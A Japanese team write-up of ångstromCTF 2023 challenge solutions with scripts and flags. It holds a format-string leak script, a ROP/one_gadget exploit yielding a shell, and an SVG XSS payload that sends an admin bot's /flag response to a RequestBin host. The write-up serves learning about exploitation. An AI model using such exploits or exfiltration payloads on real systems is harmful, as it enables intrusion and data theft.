ångstromCTF 2023 Writeup

この大会は2023/4/22 9:00(JST)~2023/4/27 9:00(JST)に開催されました。
今回もチームで参戦。結果は1470点で1301チーム中64位でした。
自分で解けた問題をWriteupとして書いておきます。

meow (MISC 10)

指定通りncコマンドを実行するだけ。

$ nc challs.actf.co 31337
actf{me0w_m3ow_welcome_to_angstr0mctf}
actf{me0w_m3ow_welcome_to_angstr0mctf}

sanity check (MISC 10)

Discordに入り、#rolesチャネルで旗マークのリアクションをすると、たくさんのチャネルが現れた。#generalチャネルのトピックを見ると、フラグが書いてあった。

actf{welcome_to_actf23}

Physics HW (MISC 20)

$ zsteg physics_hw.png 
b1,rgb,lsb,xy       .. text: "actf{physics_or_forensics}"
b2,r,msb,xy         .. text: "_UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,g,msb,xy         .. text: "WUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,b,msb,xy         .. text: ["U" repeated 239 times]
b2,rgb,msb,xy       .. text: ["U" repeated 204 times]
b2,bgr,msb,xy       .. text: "}]UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,abgr,msb,xy      .. text: ["W" repeated 186 times]
b3,bgr,lsb,xy       .. file: very old 16-bit-int big-endian archive
b3,abgr,msb,xy      .. file: MPEG ADTS, layer I, v2,  96 kbps, Monaural
actf{physics_or_forensics}

Admiral Shark MISC (20)

No.91パケットにほぼExcelデータと思われるデータがあるので、エクスポートする。ヘッダ部4バイトが欠けているので、以下のデータを追加して、Excelファイルにする。

50 4b 03 04

修復したExcelファイルを開くと、フラグが書いてあった。

actf{wireshark_in_space}

Simon Says (MISC 40)

$ nc challs.actf.co 31402
Combine the first 3 letters of cat with the last 3 letters of dog
catdog
Combine the first 3 letters of lion with the last 3 letters of monkey

単語の先頭3バイトと別の単語の末尾3バイトを結合して答えていく。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31402))

for i in range(20):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    s1 = data.split(' ')[6]
    s2 = data.split(' ')[13]
    ans = s1[:3] + s2[-3:]
    print(ans)
    s.sendall(ans.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Combine the first 3 letters of cat with the last 3 letters of bear
catear
Combine the first 3 letters of lizard with the last 3 letters of cat
lizcat
Combine the first 3 letters of monkey with the last 3 letters of lion
monion
Combine the first 3 letters of zebra with the last 3 letters of monkey
zebkey
Combine the first 3 letters of lizard with the last 3 letters of vulture
lizure
Combine the first 3 letters of donkey with the last 3 letters of cat
doncat
Combine the first 3 letters of bear with the last 3 letters of donkey
beakey
Combine the first 3 letters of lion with the last 3 letters of dog
liodog
Combine the first 3 letters of zebra with the last 3 letters of vulture
zebure
Combine the first 3 letters of dolphin with the last 3 letters of cat
dolcat
Combine the first 3 letters of dolphin with the last 3 letters of lizard
dolard
Combine the first 3 letters of bear with the last 3 letters of lizard
beaard
Combine the first 3 letters of dragon with the last 3 letters of lizard
draard
Combine the first 3 letters of dog with the last 3 letters of cat
dogcat
Combine the first 3 letters of fish with the last 3 letters of vulture
fisure
Combine the first 3 letters of fish with the last 3 letters of fish
fisish
Combine the first 3 letters of donkey with the last 3 letters of dolphin
donhin
Combine the first 3 letters of dragon with the last 3 letters of giraffe
draffe
Combine the first 3 letters of lion with the last 3 letters of dog
liodog
Combine the first 3 letters of vulture with the last 3 letters of dolphin
vulhin
actf{simon_says_you_win}
actf{simon_says_you_win}

queue (PWN 40)

Ghidraでデコンパイルする。

void main(void)

{
  __gid_t __rgid;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_c8 [48];
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Error: missing flag.txt.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fgets(local_98,0x80,__stream);
  printf("What did you learn in class today? ");
  fgets(local_c8,0x30,stdin);
  printf("Oh nice, ");
  printf(local_c8);
  printf("sounds pretty cool!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

メモリ上にフラグがあるので、FSBで表示させる。

        :
$ ./queue 
What did you learn in class today? %13$p
Oh nice, (nil)
$ ./queue 
What did you learn in class today? %14$p
Oh nice, 0x676f687b67616c66
        :

14番目のスタック以降にフラグがあるので、繰り返しスタックを確認しフラグを取得する。

#!/usr/bin/env python3
from pwn import *

i = 14
flag = b''
while True:
    p = remote('challs.actf.co', 31322)

    payload = '%' + str(i) + '$p'
    data = p.recvuntil(b'? ').decode()
    print(data + payload)
    p.sendline(payload.encode())
    data = p.recvline().decode().rstrip()
    print(data)
    p.close()

    flag += p64(int(data.split(' ')[-1], 16))
    if b'}' in flag:
        break
    i += 1

flag = flag.decode()
print(flag)

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31322: Done
What did you learn in class today? %14$p
Oh nice, 0x3474737b66746361
[*] Closed connection to challs.actf.co port 31322
[+] Opening connection to challs.actf.co on port 31322: Done
What did you learn in class today? %15$p
Oh nice, 0x75715f74695f6b63
[*] Closed connection to challs.actf.co port 31322
[+] Opening connection to challs.actf.co on port 31322: Done
What did you learn in class today? %16$p
Oh nice, 0x615f74695f657565
[*] Closed connection to challs.actf.co port 31322
[+] Opening connection to challs.actf.co on port 31322: Done
What did you learn in class today? %17$p
Oh nice, 0x3437396461393136
[*] Closed connection to challs.actf.co port 31322
[+] Opening connection to challs.actf.co on port 31322: Done
What did you learn in class today? %18$p
Oh nice, 0x7d32326234363863
[*] Closed connection to challs.actf.co port 31322
actf{st4ck_it_queue_it_a619ad974c864b22}
actf{st4ck_it_queue_it_a619ad974c864b22}

gaga (PWN 70)

パートが分かれているので、順番に攻略すれば、フラグの断片がわかると思ったが、最終パートが解ければ、フラグが得られるので、ここでは最終パートのみ記載する。

$ checksec --file gaga2
[*] '/mnt/hgfs/Shared/gaga2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidraでデコンパイルする。

void main(void)

{
  char local_48 [60];
  __gid_t local_c;
  
  setbuf(stdout,(char *)0x0);
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  puts("Awesome! Now there\'s no system(), so what will you do?!");
  printf("Your input: ");
  gets(local_48);
  return;
}

GOT領域のアドレスをリークし、libcのbaseアドレスを算出してからmainに飛ばし、2周目でOne Gadget RCEを行う。

$ ROPgadget --binary gaga2 --re "pop rdi"
Gadgets information
============================================================
0x00000000004012b3 : pop rdi ; ret

Unique gadgets found: 1

各関数のアドレスをleakし、下3桁を確認する。

puts: 420
gets: 970
printf: c90

https://libc.blukat.me/で調べた結果、libc6_2.31-0ubuntu9.9_amd64.soが該当する。ダウンロードして、one gadgetを調べる。

$ one_gadget libc6_2.31-0ubuntu9.9_amd64.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.actf.co', 31302)
else:
    p = process('./gaga2')

elf = ELF('./gaga2')
libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so')

pop_rdi = 0x4012b3
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = elf.symbols['main']
one_gadget_addr = 0xe3b01

payload = b'A' * 72
payload += p64(pop_rdi)
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)

leak = p.recvline().rstrip()
puts_addr = u64(leak.ljust(8, b'\0'))
log.info('leaked puts address: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.info('libc base address: ' + hex(libc_base))

payload = b'A' * 72
payload += p64(libc_base + one_gadget_addr)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31302: Done
[*] '/mnt/hgfs/Shared/gaga2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/hgfs/Shared/libc6_2.31-0ubuntu9.9_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Awesome! Now there's no system(), so what will you do?!
Your input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb3\x12@\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\xd6\x11@\x00\x00\x00\x00\x00'
[*] leaked puts address: 0x7f541554f420
[*] libc base address: 0x7f54154cb000
Awesome! Now there's no system(), so what will you do?!
Your input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\xebZ\x15T\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}

checkers (REV 20)

$ strings checkers | grep actf
actf{ive_be3n_checkm4ted_21d1b2cebabf983f}
actf{ive_be3n_checkm4ted_21d1b2cebabf983f}

zaza (REV 50)

Ghidraでデコンパイルする。

void main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_60;
  uint local_5c;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  local_60 = 0;
  local_5c = 0;
  printf("I\'m going to sleep. Count me some sheep: ");
  __isoc99_scanf(&DAT_00102092,&local_60);
  if (local_60 != 0x1337) {
    puts("That\'s not enough sheep!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("Nice, now reset it. Bet you can\'t: ");
  __isoc99_scanf(&DAT_00102092,&local_5c);
  if (local_5c * local_60 == 1) {
    printf("%d %d",(ulong)local_5c,(ulong)(local_60 + local_5c));
    puts("Not good enough for me.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("Okay, what\'s the magic word?");
  getchar();
  fgets(local_58,0x40,stdin);
  sVar2 = strcspn(local_58,"\n");
  local_58[sVar2] = '\0';
  xor_(local_58);
  iVar1 = strncmp(local_58,"2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#",0x32);
  if (iVar1 != 0) {
    puts("Nope");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  win();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void xor_(long param_1)

{
  size_t sVar1;
  int local_24;
  
  local_24 = 0;
  while( true ) {
    sVar1 = strlen("anextremelycomplicatedkeythatisdefinitelyuselessss");
    if (sVar1 <= (ulong)(long)local_24) break;
    *(byte *)(param_1 + local_24) =
         *(byte *)(param_1 + local_24) ^
         "anextremelycomplicatedkeythatisdefinitelyuselessss"[local_24];
    local_24 = local_24 + 1;
  }
  return;
}

最初の入力では0x1337の10進数表記を指定すればよい。

>>> 0x1337
4919

次の入力は適当で良さそう。
その次は以下の2つの文字列をXORしたものを指定すればよい。

"anextremelycomplicatedkeythatisdefinitelyuselessss"
"2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#"
>>> from Crypto.Util.strxor import strxor
>>> key = b"anextremelycomplicatedkeythatisdefinitelyuselessss"
>>> ct = b"2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#"
>>> strxor(ct, key).decode()
'SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP'
$ nc challs.actf.co 32760
I'm going to sleep. Count me some sheep: 4919
Nice, now reset it. Bet you can't: 1
Okay, what's the magic word?
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
actf{g00dnight_c7822fb3af92b949}
actf{g00dnight_c7822fb3af92b949}

Bananas (REV 100)

Elixirというプログラミング言語で作成されたバイナリと推測できる。
まずelixirをインストールする。

$ sudo apt install elixir

次に以下のリポジトリにあるデコンパイラをインストールする。

https://github.com/michalmuskala/decompile
$ mix archive.install github michalmuskala/decompile

デコンパイルする。

$ mix decompile Elixir.Bananas --to expanded
$ cat Elixir.Bananas.ex
defmodule Bananas do
  defp to_integer([num, string]) do
    [:erlang.binary_to_integer(num), string]
  end

  defp to_integer(list) do
    list
  end

  defp print_flag(false) do
    IO.puts("Nope")
  end

  defp print_flag(true) do
    IO.puts(File.read!("flag.txt"))
  end

  def main(args) do
    print_flag(check(convert_input(IO.gets("How many bananas do I have?\n"))))
  end

  def main() do
    super([])
  end

  defp convert_input(string) do
    to_integer(String.split(String.trim(string)))
  end

  defp check([num, "bananas"]) do
    :erlang.==(:erlang.-(:erlang.*(:erlang.+(num, 5), 9), 1), 971)
  end

  defp check(_asdf) do
    false
  end
end

(x + 5) * 9 - 1 == 971 となる x を指定できれば良い。

x = (971 + 1) // 9 - 5 = 103

答えるときには" bananas"を忘れずに付ける。

$ nc challs.actf.co 31403
How many bananas do I have?
103 bananas
actf{baaaaannnnananananas_yum}
actf{baaaaannnnananananas_yum}

catch me if you can (WEB 10)

フラグが動き回ていて確認が難しい。HTMLソースを見ると、フラグが書いてある。

<marquee scrollamount="50" id="flag">actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}</marquee>
actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}

Celeste Speedrunning Association (WEB 20)

https://mount-tunnel.web.actf.co/playで[Press when done!]をクリックすると、https://mount-tunnel.web.actf.co/submitに遷移し、以下のメッセージ表示される。

you did not beat all the record holders :(

このとき表示はされていないが、start=1682208916.958885 がPOSTされていた。時刻を進め、遅いと言われないようにする。

$ curl https://mount-tunnel.web.actf.co/submit -d "start=1682218916.958885"
you win the flag: actf{wait_until_farewell_speedrun}
actf{wait_until_farewell_speedrun}

shortcircuit (WEB 40)

HTMLソースを見ると、以下のように書いてある。

        <script>
            const swap = (x) => {
                let t = x[0]
                x[0] = x[3]
                x[3] = t

                t = x[2]
                x[2] = x[1]
                x[1] = t

                t = x[1]
                x[1] = x[3]
                x[3] = t

                t = x[3]
                x[3] = x[2]
                x[2] = t

                return x
            }

            const chunk = (x, n) => {
                let ret = []

                for(let i = 0; i < x.length; i+=n){
                    ret.push(x.substring(i,i+n))
                }

                return ret
            }

            const check = (e) => {
                if (document.forms[0].username.value === "admin"){
                    if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
                        location.href="/win.html"
                    }
                    else{
                        document.getElementById("msg").style.display = "block"
                    }
                }
            }
        </script>

以下のように置いて、考える。

p0 = password[0:30]
p1 = password[30:60]
p2 = password[60:90]
p3 = password[90:120]

swapでは以下のようになる。

p0 + p1 + p2 + p3
→ p3 + p1 + p2 + p0
→ p3 + p2 + p1 + p0
→ p3 + p0 + p1 + p2
→ p3 + p0 + p2 + p1

これを元に順番を入れ替える。

7e08250c4aaa9ed206fd7c9e398e2} → p3
actf{cl1ent_s1de_sucks_544e67e → p0
f12024523398ee02fe7517fffa9251 → p2
6317199e454f4d2bdb04d9e419ccc7 → p1
actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}

directory (WEB 40)

0.html~4999.htmlまでのリンクがある。総当たりでアクセスし、"actf"が含まれているページを探す。

#!/usr/bin/env python3
import requests

url_format = 'https://directory.web.actf.co/%d.html'

for i in range(5000):
    url = url_format % i
    r = requests.get(url)
    print(i, '->', r.text)
    if 'actf' in r.text:
        print('flag:', r.text)
        break

実行結果は以下の通り。

                :
3041 -> your flag is in another file
3042 -> your flag is in another file
3043 -> your flag is in another file
3044 -> your flag is in another file
3045 -> your flag is in another file
3046 -> your flag is in another file
3047 -> your flag is in another file
3048 -> your flag is in another file
3049 -> your flag is in another file
3050 -> your flag is in another file
3051 -> your flag is in another file
3052 -> your flag is in another file
3053 -> your flag is in another file
3054 -> actf{y0u_f0und_me_b51d0cde76739fa3}
flag: actf{y0u_f0und_me_b51d0cde76739fa3}
actf{y0u_f0und_me_b51d0cde76739fa3}

Celeste Tunneling Association (WEB 40)

HTTPヘッダに以下が設定されていたら、フラグが表示される。

name : "host"
value: "flag.local"
$ curl https://pioneer.tailec718.ts.net/ -H 'host: flag.local'
actf{reaching_the_core__chapter_8}
actf{reaching_the_core__chapter_8}

hallmark (WEB 80)

一回作成したカードについて、そのidを使って、putメソッドでid, type, svg, contentを指定して、アップロードすることができる。
テストしてみる。

$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8&type=text/plain&content=test'
ok

$ curl https://hallmark.web.actf.co/card?id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8
test

うまくいっている。
おそらく"image/svg+xml"のtypeでXSSができる。
通常は以下のコマンドで対応できる。

$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8' --data-urlencode 'type=image/svg+xml' -d 'svg=snowman'
ok

putメソッドで、typeとcontentの判定には以下の処理を行っている。

cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;

typeは等価演算子で判定していることを利用する。typeを"image/svg+xml"にして、contentを指定したものにするために、type[]を使う。
以下を実行した場合、ページをリロードするとポップアップで"1"が表示された。

$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8' --data-urlencode type[]=image/svg+xml --data-urlencode 'content=<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:rdf=...(cake.svgのsvgタグのデータ)..."><script type="text/javascript">alert(1);</script></svg>'

以下を実行し、/flagへのアクセスのレスポンスをRequestBinに転送させるようにする。

$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8' --data-urlencode type[]=image/svg+xml --data-urlencode 'content=<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:rdf=...(cake.svgのsvgタグのデータ)..."><script type="text/javascript">fetch("/flag").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[RequestBinのドメイン]", z));</script></svg>'

Admin Botで以下にアクセスさせる。

https://hallmark.web.actf.co/card?id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8

RequestBin側にアクセスが来ていて、フラグが転送されていた。

actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}

ranch (CRYPTO 20)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 17:
actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}
actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}

impossible (CRYPTO 50)

以下の場合条件を満たす。

x = 2**128
y = 2**64
>>> 2**128
340282366920938463463374607431768211456
>>> 2**64
18446744073709551616
$ nc challs.actf.co 32200
Supply positive x and y such that x < y and x > y.
x: 340282366920938463463374607431768211456
y: 18446744073709551616
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}

Lazy Lagrange (CRYPTO 70)

$ nc challs.actf.co 32100
: 1
	> 0
116

: 2
	> 34
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
:

サーバの処理概要は以下の通り。

・N: フラグの長さ(18以下)
・p = None
・a = None
・M = (1 << 127) - 1
・以下繰り返し
 ・choice: 1 or 2を入力
 ・choiceが1の場合
  ・query1(入力: s1)
   ・s1の長さが100より大きい場合、NGメッセージ表示
   ・x: s1をスペース区切りで要素とする配列
   ・xの長さが10より大きい場合、NGメッセージ表示
   ・x[i]が数値ではない場合、NGメッセージ表示
   ・x: xの各文字を数値にしたタプル
   ・p: N未満の値を順序を変えた配列
   ・a: pの各値をインデックスとしてフラグの各文字のASCIIコードの配列
   ・res = ''
   ・xの各値x_iについて以下を実行
    ・j: N未満の各値で、a[j] * x_i ** j の合計値を結合
   ・resを表示
 ・choiceが2の場合
  ・query2(入力: s2)
   ・s2の長さが100より大きい場合、NGメッセージ表示
   ・x: s2をスペース区切りで要素とする配列
   ・x[i]が数値ではない場合、NGメッセージ表示
   ・x: xの各文字を数値にした配列
   ・xの長さがNになるよう0でパディング
   ・z = 1
   ・N未満の各値iについて以下を実行
    ・z *= not x[i] - a[i]
   ・pの各値p_iについて、p_i * zの値を文字列としてスペース区切りで連結したものを表示

choice 1のメニューで、aの値を割り出す。choice 2のメニューで、0が18個出力されているので、フラグの長さNは18である。

x_i = 0の場合
sum(a[j] * 0 ** j for j in range(N)) % M = a[0]

x_1 = 1の場合
sum(a[j] * 1 ** j for j in range(N)) % M = a[0] + a[1] + ... + a[N-1]
               :

以上のように計算される。choice 1で128を指定すれば、128**n(n: 17~1)で割った余りでaの値を算出できる。あとは、その値をchoice 2で指定すれば、そのインデックス情報が表示されるので、それを基に並び替える。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 32100))

data = recvuntil(s, b': ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + '128')
s.sendall(b'128\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sum = int(data)

a = []
for i in range(17, 0, -1):
    div = 128 ** i
    a.insert(0, sum // div)
    sum = sum % div
a.insert(0, sum)

ans = ''
for i in range(len(a)):
    ans += str(a[i])
    ans += ' '
ans = ans[:-1]

data = recvuntil(s, b': ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

p = [int(i) for i in data.split(' ')]

flag = ''.join([chr(a[p.index(i)]) for i in range(18)])
print(flag)

実行結果は以下の通り。

: 1
        > 128
36396985561424478644062948474236727782

: 2
        > 102 99 97 98 125 56 48 102 56 55 55 54 48 116 123 102 97 54
3 1 13 16 17 6 7 5 11 14 15 12 10 2 4 8 0 9
actf{f80f6086a77b}
actf{f80f6086a77b}

Royal Society of Arts (CRYPTO 70)

RSA暗号で、以下の値もわかっている。

(p - 2) * (q - 1)
(p - 1) * (q - 2)

以下のように定義する。

(p - 2) * (q - 1) = A
(p - 1) * (q - 2) = B
A + q - 1 = (p - 2) * (q - 1) + (q - 1)
          = (p - 1) * (q - 1)
B + p - 1 = (p - 1) * (q - 2) + (p - 1)
          = (p - 1) * (q - 1)
    ↓
A + q - 1 = B + p - 1
q - p = B - A
    ↓
q = p + B - A

以上のことと、p * q = nであることを使えば、pの2次方程式になるので、pを割り出すことができる。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' = ')[1])
e = int(params[1].split(' = ')[1])
c = int(params[2].split(' = ')[1])
A = int(params[3].split(' = ')[1])
B = int(params[4].split(' = ')[1])

p = sympy.Symbol('p')
q = p + B - A
eq = p * q - n
ans = sympy.solve(eq)
for p in ans:
    if p > 0:
        break
p = int(p)
q = n // p
assert p * q == n
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}

Royal Society of Arts 2 (CRYPTO 70)

サーバは復号してくれるが、フラグの暗号データだけは復号してくれない。modulusを考慮した上で、暗号化データを適当な値との積として考える。それぞれの復号データの積を取れば、フラグを割り出せる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 32400))

data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' = ')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)
e = int(data.split(' = ')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data.split(' = ')[1])

m0 = 2
c0 = pow(m0, e, n)
c1 = c * inverse(c0, n)
assert (c0 * c1) % n == c

data = recvuntil(s, b': ')
print(data + str(c1))
s.sendall(str(c1).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
m1 = int(data.split(' = ')[1])
m = (m0 * m1) % n
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

n = 136753100242576336499973068846366402357095332336275689090583700000833774119973997134180292506702249754051190934035919531343926788323481847646676828656736086775591954084503285983525331854278603309606736369507970540738647638859520033470176888040971285156878233226446242423115232401731516687659825297325826713583
e = 65537
c = 41676457107981483166693799044773968454802257728904928039732665918897767861719267046933646668457167322504356921786687866532181909889102603390068562200690004664339528710971732784638060116267839838817380576409846666224665638966361559594600329896940900813125127205283787666973437634104571582379682820915258498921
Text to decrypt: 3805538819466338903836978837653146917519088738602000121835292201317067214060065170953983482044672758652814219283625860127008442355801820928857526040509059593498476885520315718772487652942533610513434653414427898713254536372374635920914429863956132016814883438675393468245947718223843380936411947428608792448354763210984334504304907024333693374835560936547806273674762595033321880418008457453232141411645108113956532692306356321409049847649233620395973601527758992437231860205649802780059812080355508837728058544497775860139028616041844320757226111787607774015365513315331082817078992746462104178269886912322957445819
m = 68376550121288168249986534423183201178547666168137844545291850000416887059986998567090146253351124877025595467017959765671963394161740923823338414328368043387795977042251642991762665927139301654832644476247503417998578771031770169705201233250854041620009962277196979629711793837909241151761174941489772152118
actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}
actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}